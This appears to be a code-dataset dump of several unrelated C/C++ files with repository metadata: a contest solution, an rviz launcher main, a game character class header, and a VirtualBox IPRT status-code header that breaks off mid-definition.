UTF-8
C++
false
false
197
h
#pragma once #include <iostream> #include <string> class stringConvert { public: stringConvert(); ~stringConvert(); std::string my_expression; void countSpace(std::string expression); };
[ "sidnei.carraro@pucpr.edu.br" ]
sidnei.carraro@pucpr.edu.br
314605fe0f03dda488d78a130824bd89d448a148
7ee32ddb0cdfdf1993aa4967e1045790690d7089
/AIZU/ICPC Asia Regional Tokyo 2010/ProblemF.cpp
7e7474e1901bdfaf9813a7863e85461621e36bc0
[]
no_license
ajimenezh/Programing-Contests
b9b91c31814875fd5544d63d7365b3fc20abd354
ad47d1f38b780de46997f16fbaa3338c9aca0e1a
refs/heads/master
2020-12-24T14:56:14.154367
2017-10-16T21:05:01
2017-10-16T21:05:01
11,746,917
1
2
null
null
null
null
UTF-8
C++
false
false
1,392
cpp
#include <iostream> #include <sstream> #include <vector> #include <string> #include <algorithm> #include <utility> #include <set> #include <map> #include <deque> #include <queue> #include <cmath> #include <cstdlib> #include <ctime> #include <cstdio> #include <stdio.h> using namespace std; #define fo(i,n) for(int i=0; i<(int)n; i++) #define rep(it,s) for(__typeof((s).begin()) it=(s).begin();it!=(s).end();it++) #define mp(a,b) make_pair(a,b) #define pb(x) push_back(x) #define pii pair<int,int> int n,s,w,q; int v[100010]; int sum[100010]; map<int,int> all; long long p[100010]; int main() { //freopen("input.txt","r",stdin); //freopen("output.txt","w",stdout); while (scanf("%d%d%d%d",&n,&s,&w,&q) && n!=0) { int g = s; for (int i=0; i<n; i++) { v[i] = (g/7)%10; if (g%2==0) g = g/2; else g = (g/2) ^ w; } all.clear(); int ans = 0; if (v[n-1]%q==0 && v[n-1]!=0) ans++; sum[n-1] = v[n-1]%q; p[n-1] = 1; all[sum[n-1]]++; if (q!=2 && q!=5) all[0]++; for (int i=n-2; i>=0; i--) p[i] = (10*p[i+1])%q; for (int i=n-2; i>=0; i--) { if (q==2) { all[v[i]%2]++; if (v[i]!=0) ans += all[0]; } else if (q==5) { all[v[i]%5]++; if (v[i]!=0) ans += all[0]; } else { sum[i] = (sum[i+1] + (v[i]*p[i])%q)%q; if (v[i]!=0) ans += all[sum[i]]; all[sum[i]]++; } } cout<<ans<<endl; } return 0; }
[ "alejandrojh90@gmail.com" ]
alejandrojh90@gmail.com
fd1ebc2edb4de924a1fbda2df21fabfb86078e8d
bb0cb98605b648e6788dc96d66a05650394efe46
/src/rviz/src/rviz/main.cpp
eeb39b1878f6eff0bf1f488edd98867d5ce6599d
[ "CC-PDDC", "LicenseRef-scancode-public-domain" ]
permissive
ICURO-AI-LAB/new_rviz
6e0af5321a33a4950105654e53390b75b3a54f22
54b3eddb914d85e2b0f24115c41ffb99d54a1a56
refs/heads/master
2020-04-23T05:32:30.078077
2019-02-18T23:09:35
2019-02-18T23:09:35
170,943,017
0
0
null
null
null
null
UTF-8
C++
false
false
2,976
cpp
/* * Copyright (c) 2011, Willow Garage, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the Willow Garage, Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <QApplication> #include <string> #include <fstream> #include "rviz/visualizer_app.h" int main( int argc, char** argv ) { QApplication qapp( argc, argv ); rviz::VisualizerApp vapp; vapp.setApp( &qapp ); if( vapp.init( argc, argv )) { std::ofstream ofs; ofs.open("/home/centaur/catkin_ws/src/magni_goal_sender/param/final_goals.yaml", std::ofstream::out | std::ofstream::trunc); ofs << "goals: \n"; ofs.close(); /* int i = 0; std::string filename = "/home/centaur/catkin_ws/src/magni_goal_sender/param/final_goals_" + std::to_string(i) + ".yaml"; std::ifstream ifile(filename.c_str()); std::ifstream ifile(filename.c_str()); while(true) { check if final goals does not exist if exist: create a final_goals file and break start checking for final_goals_i if it does not exist, move it to final_goals_i create final goals file std::string filename = "/home/centaur/catkin_ws/src/magni_goal_sender/param/final_goals_" + std::to_string(i) + ".yaml"; std::ifstream ifile(filename.c_str()); if(ifile.is_open()){ std::cout<<filename<<"-----exists"<<std::endl; mv existing goal to goali } i++ i++; continue; } */ return qapp.exec(); } else { return 1; } }
[ "sudhakar.alla@icuro.com" ]
sudhakar.alla@icuro.com
478ed5dbdf8833fcd262d9fa1418f371491afcc2
f4401a6d5546c376aaee6035cecedfb17e068e37
/DemoRpg/Rpg/People.h
2fbac39b54991e8a5bc1561a5be500017d5f6397
[]
no_license
AstaraelWeeper/DemoRpg
d4b0825e7df84c218dbef48870f92cb024c07fb8
91b76d18585e23d3dac2861a12584411bdd11d6c
refs/heads/master
2021-01-13T00:55:42.753245
2015-06-08T20:20:35
2015-06-08T20:20:35
36,553,980
0
0
null
null
null
null
UTF-8
C++
false
false
1,225
h
#pragma once #include <SDL.h> class People { public: People(short column, short row); virtual ~People(); virtual int attackCalculation(); virtual void Attack(); void UpdateHealth(int); void Move(int); SDL_Rect GetAssetSheetPosition(); SDL_Rect GetMapPosition(); int GetFacingDirection(); protected: int attackState; int hitChance; //int between 0 and 100 to represent % chance of hitting int maxHealth; int currentHealth; int damage; int facingDirection; //1=left, 2= up, 3 = right, 4 = down SDL_Rect assetSheetPositionLeft; SDL_Rect assetSheetPositionUp; SDL_Rect assetSheetPositionRight; SDL_Rect assetSheetPositionDown; SDL_Rect assetSheetPositionLeftAttack1; SDL_Rect assetSheetPositionUpAttack1; SDL_Rect assetSheetPositionRightAttack1; SDL_Rect assetSheetPositionDownAttack1; SDL_Rect assetSheetPositionLeftAttack2; SDL_Rect assetSheetPositionUpAttack2; SDL_Rect assetSheetPositionRightAttack2; SDL_Rect assetSheetPositionDownAttack2; int mapPositionX; //pixels, not tiles int mapPositionY; //pixels, not tiles SDL_Rect mapPosition; enum KeyPressDirections { KEY_PRESS_SURFACE_DEFAULT, KEY_PRESS_LEFT, KEY_PRESS_UP, KEY_PRESS_RIGHT, KEY_PRESS_DOWN, }; };
[ "thisisrachelalice@hotmail.com" ]
thisisrachelalice@hotmail.com
2596b303c2eb2f44335f7aaa72edeffa503d568f
73b8a44951468d57efcf000c5a23d7d05b2d7600
/include/iprt/err.h
b1215ca9df8f27412e063422f1214733369daab5
[]
no_license
ivanagui2/OpenXTGL
d6bd39437fd4a038cebcecd0049d9bbb36838df4
604df31f318077aadb1adb9bfa7707dc94d32b69
refs/heads/master
2021-06-07T02:22:18.972245
2016-09-29T20:26:38
2016-09-29T20:26:38
null
0
0
null
null
null
null
UTF-8
C++
false
false
105,764
h
/** @file * IPRT - Status Codes. */ /* * Copyright (C) 2006-2015 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. * * The contents of this file may alternatively be used under the terms * of the Common Development and Distribution License Version 1.0 * (CDDL) only, as it comes in the "COPYING.CDDL" file of the * VirtualBox OSE distribution, in which case the provisions of the * CDDL are applicable instead of those of the GPL. * * You may elect to license modified versions of this file under the * terms and conditions of either the GPL or the CDDL or both. */ #ifndef ___iprt_err_h #define ___iprt_err_h #include <iprt/cdefs.h> #include <iprt/types.h> #include <iprt/stdarg.h> /** @defgroup grp_rt_err RTErr - Status Codes * @ingroup grp_rt * * The IPRT status codes are in two ranges: {0..999} and {22000..32766}. The * IPRT users are free to use the range {1000..21999}. See RTERR_RANGE1_FIRST, * RTERR_RANGE1_LAST, RTERR_RANGE2_FIRST, RTERR_RANGE2_LAST, RTERR_USER_FIRST * and RTERR_USER_LAST. * * @{ */ /** @defgroup grp_rt_err_hlp Status Code Helpers * @{ */ #ifdef __cplusplus /** * Strict type validation class. * * This is only really useful for type checking the arguments to RT_SUCCESS, * RT_SUCCESS_NP, RT_FAILURE and RT_FAILURE_NP. The RTErrStrictType2 * constructor is for integration with external status code strictness regimes. */ class RTErrStrictType { protected: int32_t m_rc; public: /** * Constructor for interaction with external status code strictness regimes. * * This is a special constructor for helping external return code validator * classes interact cleanly with RT_SUCCESS, RT_SUCCESS_NP, RT_FAILURE and * RT_FAILURE_NP while barring automatic cast to integer. * * @param rcObj IPRT status code object from an automatic cast. */ RTErrStrictType(RTErrStrictType2 const rcObj) : m_rc(rcObj.getValue()) { } /** * Integer constructor used by RT_SUCCESS_NP. * * @param rc IPRT style status code. */ RTErrStrictType(int32_t rc) : m_rc(rc) { } #if 0 /** @todo figure where int32_t is long instead of int. */ /** * Integer constructor used by RT_SUCCESS_NP. * * @param rc IPRT style status code. */ RTErrStrictType(signed int rc) : m_rc(rc) { } #endif /** * Test for success. */ bool success() const { return m_rc >= 0; } private: /** @name Try ban a number of wrong types. * @{ */ RTErrStrictType(uint8_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(uint16_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(uint32_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(uint64_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(int8_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(int16_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(int64_t rc) : m_rc(-999) { NOREF(rc); } /** @todo fight long here - clashes with int32_t/int64_t on some platforms. */ /** @} */ }; #endif /* __cplusplus */ /** @def RTERR_STRICT_RC * Indicates that RT_SUCCESS_NP, RT_SUCCESS, RT_FAILURE_NP and RT_FAILURE should * make type enforcing at compile time. * * @remarks Only define this for C++ code. */ #if defined(__cplusplus) \ && !defined(RTERR_STRICT_RC) \ && ( defined(DOXYGEN_RUNNING) \ || defined(DEBUG) \ || defined(RT_STRICT) ) # define RTERR_STRICT_RC 1 #endif /** @def RT_SUCCESS * Check for success. We expect success in normal cases, that is the code path depending on * this check is normally taken. To prevent any prediction use RT_SUCCESS_NP instead. * * @returns true if rc indicates success. * @returns false if rc indicates failure. * * @param rc The iprt status code to test. */ #define RT_SUCCESS(rc) ( RT_LIKELY(RT_SUCCESS_NP(rc)) ) /** @def RT_SUCCESS_NP * Check for success. Don't predict the result. * * @returns true if rc indicates success. * @returns false if rc indicates failure. * * @param rc The iprt status code to test. */ #ifdef RTERR_STRICT_RC # define RT_SUCCESS_NP(rc) ( RTErrStrictType(rc).success() ) #else # define RT_SUCCESS_NP(rc) ( (int)(rc) >= VINF_SUCCESS ) #endif /** @def RT_FAILURE * Check for failure. We don't expect in normal cases, that is the code path depending on * this check is normally NOT taken. To prevent any prediction use RT_FAILURE_NP instead. * * @returns true if rc indicates failure. * @returns false if rc indicates success. * * @param rc The iprt status code to test. */ #define RT_FAILURE(rc) ( RT_UNLIKELY(!RT_SUCCESS_NP(rc)) ) /** @def RT_FAILURE_NP * Check for failure. Don't predict the result. * * @returns true if rc indicates failure. * @returns false if rc indicates success. * * @param rc The iprt status code to test. */ #define RT_FAILURE_NP(rc) ( !RT_SUCCESS_NP(rc) ) RT_C_DECLS_BEGIN /** * Converts a Darwin HRESULT error to an iprt status code. * * @returns iprt status code. * @param iNativeCode HRESULT error code. * @remark Darwin ring-3 only. */ RTDECL(int) RTErrConvertFromDarwinCOM(int32_t iNativeCode); /** * Converts a Darwin IOReturn error to an iprt status code. * * @returns iprt status code. * @param iNativeCode IOReturn error code. * @remark Darwin only. */ RTDECL(int) RTErrConvertFromDarwinIO(int iNativeCode); /** * Converts a Darwin kern_return_t error to an iprt status code. * * @returns iprt status code. * @param iNativeCode kern_return_t error code. * @remark Darwin only. */ RTDECL(int) RTErrConvertFromDarwinKern(int iNativeCode); /** * Converts a Darwin error to an iprt status code. * * This will consult RTErrConvertFromDarwinKern, RTErrConvertFromDarwinIO * and RTErrConvertFromDarwinCOM in this order. The latter is ring-3 only as it * doesn't apply elsewhere. * * @returns iprt status code. * @param iNativeCode Darwin error code. * @remarks Darwin only. * @remarks This is recommended over RTErrConvertFromDarwinKern and RTErrConvertFromDarwinIO * since these are really just subsets of the same error space. */ RTDECL(int) RTErrConvertFromDarwin(int iNativeCode); /** * Converts errno to iprt status code. * * @returns iprt status code. * @param uNativeCode errno code. */ RTDECL(int) RTErrConvertFromErrno(unsigned uNativeCode); /** * Converts a L4 errno to a iprt status code. * * @returns iprt status code. * @param uNativeCode l4 errno. * @remark L4 only. */ RTDECL(int) RTErrConvertFromL4Errno(unsigned uNativeCode); /** * Converts NT status code to iprt status code. * * Needless to say, this is only available on NT and winXX targets. * * @returns iprt status code. * @param lNativeCode NT status code. * @remark Windows only. */ RTDECL(int) RTErrConvertFromNtStatus(long lNativeCode); /** * Converts OS/2 error code to iprt status code. * * @returns iprt status code. * @param uNativeCode OS/2 error code. * @remark OS/2 only. */ RTDECL(int) RTErrConvertFromOS2(unsigned uNativeCode); /** * Converts Win32 error code to iprt status code. * * @returns iprt status code. * @param uNativeCode Win32 error code. * @remark Windows only. */ RTDECL(int) RTErrConvertFromWin32(unsigned uNativeCode); /** * Converts an iprt status code to a errno status code. * * @returns errno status code. * @param iErr iprt status code. */ RTDECL(int) RTErrConvertToErrno(int iErr); #ifdef IN_RING3 /** * iprt status code message. */ typedef struct RTSTATUSMSG { /** Pointer to the short message string. */ const char *pszMsgShort; /** Pointer to the full message string. */ const char *pszMsgFull; /** Pointer to the define string. */ const char *pszDefine; /** Status code number. */ int iCode; } RTSTATUSMSG; /** Pointer to iprt status code message. */ typedef RTSTATUSMSG *PRTSTATUSMSG; /** Pointer to const iprt status code message. */ typedef const RTSTATUSMSG *PCRTSTATUSMSG; /** * Get the message structure corresponding to a given iprt status code. * * @returns Pointer to read-only message description. * @param rc The status code. */ RTDECL(PCRTSTATUSMSG) RTErrGet(int rc); /** * Get the define corresponding to a given iprt status code. * * @returns Pointer to read-only string with the \#define identifier. * @param rc The status code. */ #define RTErrGetDefine(rc) (RTErrGet(rc)->pszDefine) /** * Get the short description corresponding to a given iprt status code. * * @returns Pointer to read-only string with the description. * @param rc The status code. */ #define RTErrGetShort(rc) (RTErrGet(rc)->pszMsgShort) /** * Get the full description corresponding to a given iprt status code. * * @returns Pointer to read-only string with the description. * @param rc The status code. */ #define RTErrGetFull(rc) (RTErrGet(rc)->pszMsgFull) #ifdef RT_OS_WINDOWS /** * Windows error code message. */ typedef struct RTWINERRMSG { /** Pointer to the full message string. */ const char *pszMsgFull; /** Pointer to the define string. */ const char *pszDefine; /** Error code number. */ long iCode; } RTWINERRMSG; /** Pointer to Windows error code message. */ typedef RTWINERRMSG *PRTWINERRMSG; /** Pointer to const Windows error code message. */ typedef const RTWINERRMSG *PCRTWINERRMSG; /** * Get the message structure corresponding to a given Windows error code. * * @returns Pointer to read-only message description. * @param rc The status code. */ RTDECL(PCRTWINERRMSG) RTErrWinGet(long rc); /** On windows COM errors are part of the Windows error database. */ typedef RTWINERRMSG RTCOMERRMSG; #else /* !RT_OS_WINDOWS */ /** * COM/XPCOM error code message. */ typedef struct RTCOMERRMSG { /** Pointer to the full message string. */ const char *pszMsgFull; /** Pointer to the define string. */ const char *pszDefine; /** Error code number. */ uint32_t iCode; } RTCOMERRMSG; #endif /* !RT_OS_WINDOWS */ /** Pointer to a XPCOM/COM error code message. */ typedef RTCOMERRMSG *PRTCOMERRMSG; /** Pointer to const a XPCOM/COM error code message. */ typedef const RTCOMERRMSG *PCRTCOMERRMSG; /** * Get the message structure corresponding to a given COM/XPCOM error code. * * @returns Pointer to read-only message description. * @param rc The status code. */ RTDECL(PCRTCOMERRMSG) RTErrCOMGet(uint32_t rc); #endif /* IN_RING3 */ /** @defgroup RTERRINFO_FLAGS_XXX RTERRINFO::fFlags * @{ */ /** Custom structure (the default). */ #define RTERRINFO_FLAGS_T_CUSTOM UINT32_C(0) /** Static structure (RTERRINFOSTATIC). */ #define RTERRINFO_FLAGS_T_STATIC UINT32_C(1) /** Allocated structure (RTErrInfoAlloc). */ #define RTERRINFO_FLAGS_T_ALLOC UINT32_C(2) /** Reserved type. */ #define RTERRINFO_FLAGS_T_RESERVED UINT32_C(3) /** Type mask. */ #define RTERRINFO_FLAGS_T_MASK UINT32_C(3) /** Error info is set. */ #define RTERRINFO_FLAGS_SET RT_BIT_32(2) /** Fixed flags (magic). */ #define RTERRINFO_FLAGS_MAGIC UINT32_C(0xbabe0000) /** The bit mask for the magic value. */ #define RTERRINFO_FLAGS_MAGIC_MASK UINT32_C(0xffff0000) /** @} */ /** * Initializes an error info structure. * * @returns @a pErrInfo. * @param pErrInfo The error info structure to init. * @param pszMsg The message buffer. Must be at least one byte. * @param cbMsg The size of the message buffer. */ DECLINLINE(PRTERRINFO) RTErrInfoInit(PRTERRINFO pErrInfo, char *pszMsg, size_t cbMsg) { *pszMsg = '\0'; pErrInfo->fFlags = RTERRINFO_FLAGS_T_CUSTOM | RTERRINFO_FLAGS_MAGIC; pErrInfo->rc = /*VINF_SUCCESS*/ 0; pErrInfo->pszMsg = pszMsg; pErrInfo->cbMsg = cbMsg; pErrInfo->apvReserved[0] = NULL; pErrInfo->apvReserved[1] = NULL; return pErrInfo; } /** * Initialize a static error info structure. * * @returns Pointer to the core error info structure. * @param pStaticErrInfo The static error info structure to init. */ DECLINLINE(PRTERRINFO) RTErrInfoInitStatic(PRTERRINFOSTATIC pStaticErrInfo) { RTErrInfoInit(&pStaticErrInfo->Core, pStaticErrInfo->szMsg, sizeof(pStaticErrInfo->szMsg)); pStaticErrInfo->Core.fFlags = RTERRINFO_FLAGS_T_STATIC | RTERRINFO_FLAGS_MAGIC; return &pStaticErrInfo->Core; } /** * Allocates a error info structure with a buffer at least the given size. * * @returns Pointer to an error info structure on success, NULL on failure. * * @param cbMsg The minimum message buffer size. Use 0 to get * the default buffer size. */ RTDECL(PRTERRINFO) RTErrInfoAlloc(size_t cbMsg); /** * Same as RTErrInfoAlloc, except that an IPRT status code is returned. * * @returns IPRT status code. * * @param cbMsg The minimum message buffer size. Use 0 to get * the default buffer size. * @param ppErrInfo Where to store the pointer to the allocated * error info structure on success. This is * always set to NULL. */ RTDECL(int) RTErrInfoAllocEx(size_t cbMsg, PRTERRINFO *ppErrInfo); /** * Frees an error info structure allocated by RTErrInfoAlloc or * RTErrInfoAllocEx. * * @param pErrInfo The error info structure. */ RTDECL(void) RTErrInfoFree(PRTERRINFO pErrInfo); /** * Fills in the error info details. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszMsg The error message string. */ RTDECL(int) RTErrInfoSet(PRTERRINFO pErrInfo, int rc, const char *pszMsg); /** * Fills in the error info details, with a sprintf style message. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszFormat The format string. * @param ... The format arguments. */ RTDECL(int) RTErrInfoSetF(PRTERRINFO pErrInfo, int rc, const char *pszFormat, ...); /** * Fills in the error info details, with a vsprintf style message. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszFormat The format string. * @param va The format arguments. */ RTDECL(int) RTErrInfoSetV(PRTERRINFO pErrInfo, int rc, const char *pszFormat, va_list va); /** * Adds more error info details. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszMsg The error message string to add. */ RTDECL(int) RTErrInfoAdd(PRTERRINFO pErrInfo, int rc, const char *pszMsg); /** * Adds more error info details, with a sprintf style message. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszFormat The format string to add. * @param ... The format arguments. */ RTDECL(int) RTErrInfoAddF(PRTERRINFO pErrInfo, int rc, const char *pszFormat, ...); /** * Adds more error info details, with a vsprintf style message. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszFormat The format string to add. * @param va The format arguments. */ RTDECL(int) RTErrInfoAddV(PRTERRINFO pErrInfo, int rc, const char *pszFormat, va_list va); /** * Checks if the error info is set. * * @returns true if set, false if not. * @param pErrInfo The error info structure. NULL is OK. */ DECLINLINE(bool) RTErrInfoIsSet(PCRTERRINFO pErrInfo) { if (!pErrInfo) return false; return (pErrInfo->fFlags & (RTERRINFO_FLAGS_MAGIC_MASK | RTERRINFO_FLAGS_SET)) == (RTERRINFO_FLAGS_MAGIC | RTERRINFO_FLAGS_SET); } /** * Clears the error info structure. * * @param pErrInfo The error info structure. NULL is OK. */ DECLINLINE(void) RTErrInfoClear(PRTERRINFO pErrInfo) { if (pErrInfo) { pErrInfo->fFlags &= ~RTERRINFO_FLAGS_SET; pErrInfo->rc = /*VINF_SUCCESS*/0; *pErrInfo->pszMsg = '\0'; } } /** * Storage for error variables. * * @remarks Do NOT touch the members! They are platform specific and what's * where may change at any time! */ typedef union RTERRVARS { int8_t ai8Vars[32]; int16_t ai16Vars[16]; int32_t ai32Vars[8]; int64_t ai64Vars[4]; } RTERRVARS; /** Pointer to an error variable storage union. */ typedef RTERRVARS *PRTERRVARS; /** Pointer to a const error variable storage union. */ typedef RTERRVARS const *PCRTERRVARS; /** * Saves the error variables. * * @returns @a pVars. * @param pVars The variable storage union. */ RTDECL(PRTERRVARS) RTErrVarsSave(PRTERRVARS pVars); /** * Restores the error variables. * * @param pVars The variable storage union. */ RTDECL(void) RTErrVarsRestore(PCRTERRVARS pVars); /** * Checks if the first variable set equals the second. * * @returns true if they are equal, false if not. * @param pVars1 The first variable storage union. * @param pVars2 The second variable storage union. */ RTDECL(bool) RTErrVarsAreEqual(PCRTERRVARS pVars1, PCRTERRVARS pVars2); /** * Checks if the (live) error variables have changed since we saved them. * * @returns @c true if they have changed, @c false if not. * @param pVars The saved variables to compare the current state * against. */ RTDECL(bool) RTErrVarsHaveChanged(PCRTERRVARS pVars); RT_C_DECLS_END /** @} */ /** @name Status Code Ranges * @{ */ /** The first status code in the primary IPRT range. */ #define RTERR_RANGE1_FIRST 0 /** The last status code in the primary IPRT range. */ #define RTERR_RANGE1_LAST 999 /** The first status code in the secondary IPRT range. */ #define RTERR_RANGE2_FIRST 22000 /** The last status code in the secondary IPRT range. */ #define RTERR_RANGE2_LAST 32766 /** The first status code in the user range. */ #define RTERR_USER_FIRST 1000 /** The last status code in the user range. */ #define RTERR_USER_LAST 21999 /** @} */ /* SED-START */ /** @name Misc. Status Codes * @{ */ /** Success. */ #define VINF_SUCCESS 0 /** General failure - DON'T USE THIS!!! */ #define VERR_GENERAL_FAILURE (-1) /** Invalid parameter. */ #define VERR_INVALID_PARAMETER (-2) /** Invalid parameter. */ #define VWRN_INVALID_PARAMETER 2 /** Invalid magic or cookie. */ #define VERR_INVALID_MAGIC (-3) /** Invalid magic or cookie. */ #define VWRN_INVALID_MAGIC 3 /** Invalid loader handle. */ #define VERR_INVALID_HANDLE (-4) /** Invalid loader handle. */ #define VWRN_INVALID_HANDLE 4 /** Failed to lock the address range. */ #define VERR_LOCK_FAILED (-5) /** Invalid memory pointer. */ #define VERR_INVALID_POINTER (-6) /** Failed to patch the IDT. */ #define VERR_IDT_FAILED (-7) /** Memory allocation failed. */ #define VERR_NO_MEMORY (-8) /** Already loaded. */ #define VERR_ALREADY_LOADED (-9) /** Permission denied. */ #define VERR_PERMISSION_DENIED (-10) /** Permission denied. */ #define VINF_PERMISSION_DENIED 10 /** Version mismatch. */ #define VERR_VERSION_MISMATCH (-11) /** The request function is not implemented. */ #define VERR_NOT_IMPLEMENTED (-12) /** Invalid flags was given. */ #define VERR_INVALID_FLAGS (-13) /** Not equal. */ #define VERR_NOT_EQUAL (-18) /** The specified path does not point at a symbolic link. */ #define VERR_NOT_SYMLINK (-19) /** Failed to allocate temporary memory. */ #define VERR_NO_TMP_MEMORY (-20) /** Invalid file mode mask (RTFMODE). */ #define VERR_INVALID_FMODE (-21) /** Incorrect call order. */ #define VERR_WRONG_ORDER (-22) /** There is no TLS (thread local storage) available for storing the current thread. */ #define VERR_NO_TLS_FOR_SELF (-23) /** Failed to set the TLS (thread local storage) entry which points to our thread structure. */ #define VERR_FAILED_TO_SET_SELF_TLS (-24) /** Not able to allocate contiguous memory. */ #define VERR_NO_CONT_MEMORY (-26) /** No memory available for page table or page directory. */ #define VERR_NO_PAGE_MEMORY (-27) /** Already initialized. */ #define VINF_ALREADY_INITIALIZED 28 /** The specified thread is dead. */ #define VERR_THREAD_IS_DEAD (-29) /** The specified thread is not waitable. */ #define VERR_THREAD_NOT_WAITABLE (-30) /** Pagetable not present. */ #define VERR_PAGE_TABLE_NOT_PRESENT (-31) /** Invalid context. * Typically an API was used by the wrong thread. */ #define VERR_INVALID_CONTEXT (-32) /** The per process timer is busy. */ #define VERR_TIMER_BUSY (-33) /** Address conflict. */ #define VERR_ADDRESS_CONFLICT (-34) /** Unresolved (unknown) host platform error. */ #define VERR_UNRESOLVED_ERROR (-35) /** Invalid function. */ #define VERR_INVALID_FUNCTION (-36) /** Not supported. */ #define VERR_NOT_SUPPORTED (-37) /** Not supported. */ #define VINF_NOT_SUPPORTED 37 /** Access denied. */ #define VERR_ACCESS_DENIED (-38) /** Call interrupted. */ #define VERR_INTERRUPTED (-39) /** Call interrupted. */ #define VINF_INTERRUPTED 39 /** Timeout. */ #define VERR_TIMEOUT (-40) /** Timeout. */ #define VINF_TIMEOUT 40 /** Buffer too small to save result. */ #define VERR_BUFFER_OVERFLOW (-41) /** Buffer too small to save result. */ #define VINF_BUFFER_OVERFLOW 41 /** Data size overflow. */ #define VERR_TOO_MUCH_DATA (-42) /** Max threads number reached. */ #define VERR_MAX_THRDS_REACHED (-43) /** Max process number reached. */ #define VERR_MAX_PROCS_REACHED (-44) /** The recipient process has refused the signal. */ #define VERR_SIGNAL_REFUSED (-45) /** A signal is already pending. */ #define VERR_SIGNAL_PENDING (-46) /** The signal being posted is not correct. */ #define VERR_SIGNAL_INVALID (-47) /** The state changed. * This is a generic error message and needs a context to make sense. */ #define VERR_STATE_CHANGED (-48) /** Warning, the state changed. * This is a generic error message and needs a context to make sense. */ #define VWRN_STATE_CHANGED 48 /** Error while parsing UUID string */ #define VERR_INVALID_UUID_FORMAT (-49) /** The specified process was not found. */ #define VERR_PROCESS_NOT_FOUND (-50) /** The process specified to a non-block wait had not exited. */ #define VERR_PROCESS_RUNNING (-51) /** Retry the operation. */ #define VERR_TRY_AGAIN (-52) /** Retry the operation. */ #define VINF_TRY_AGAIN 52 /** Generic parse error. */ #define VERR_PARSE_ERROR (-53) /** Value out of range. */ #define VERR_OUT_OF_RANGE (-54) /** A numeric conversion encountered a value which was too big for the target. */ #define VERR_NUMBER_TOO_BIG (-55) /** A numeric conversion encountered a value which was too big for the target. */ #define VWRN_NUMBER_TOO_BIG 55 /** The number begin converted (string) contained no digits. */ #define VERR_NO_DIGITS (-56) /** The number begin converted (string) contained no digits. */ #define VWRN_NO_DIGITS 56 /** Encountered a '-' during conversion to an unsigned value. */ #define VERR_NEGATIVE_UNSIGNED (-57) /** Encountered a '-' during conversion to an unsigned value. */ #define VWRN_NEGATIVE_UNSIGNED 57 /** Error while characters translation (unicode and so). */ #define VERR_NO_TRANSLATION (-58) /** Error while characters translation (unicode and so). */ #define VWRN_NO_TRANSLATION 58 /** Encountered unicode code point which is reserved for use as endian indicator (0xffff or 0xfffe). */ #define VERR_CODE_POINT_ENDIAN_INDICATOR (-59) /** Encountered unicode code point in the surrogate range (0xd800 to 0xdfff). */ #define VERR_CODE_POINT_SURROGATE (-60) /** A string claiming to be UTF-8 is incorrectly encoded. */ #define VERR_INVALID_UTF8_ENCODING (-61) /** Ad string claiming to be in UTF-16 is incorrectly encoded. */ #define VERR_INVALID_UTF16_ENCODING (-62) /** Encountered a unicode code point which cannot be represented as UTF-16. */ #define VERR_CANT_RECODE_AS_UTF16 (-63) /** Got an out of memory condition trying to allocate a string. */ #define VERR_NO_STR_MEMORY (-64) /** Got an out of memory condition trying to allocate a UTF-16 (/UCS-2) string. */ #define VERR_NO_UTF16_MEMORY (-65) /** Get an out of memory condition trying to allocate a code point array. */ #define VERR_NO_CODE_POINT_MEMORY (-66) /** Can't free the memory because it's used in mapping. */ #define VERR_MEMORY_BUSY (-67) /** The timer can't be started because it's already active. */ #define VERR_TIMER_ACTIVE (-68) /** The timer can't be stopped because i's already suspended. */ #define VERR_TIMER_SUSPENDED (-69) /** The operation was cancelled by the user (copy) or another thread (local ipc). */ #define VERR_CANCELLED (-70) /** Failed to initialize a memory object. * Exactly what this means is OS specific. */ #define VERR_MEMOBJ_INIT_FAILED (-71) /** Out of memory condition when allocating memory with low physical backing. */ #define VERR_NO_LOW_MEMORY (-72) /** Out of memory condition when allocating physical memory (without mapping). */ #define 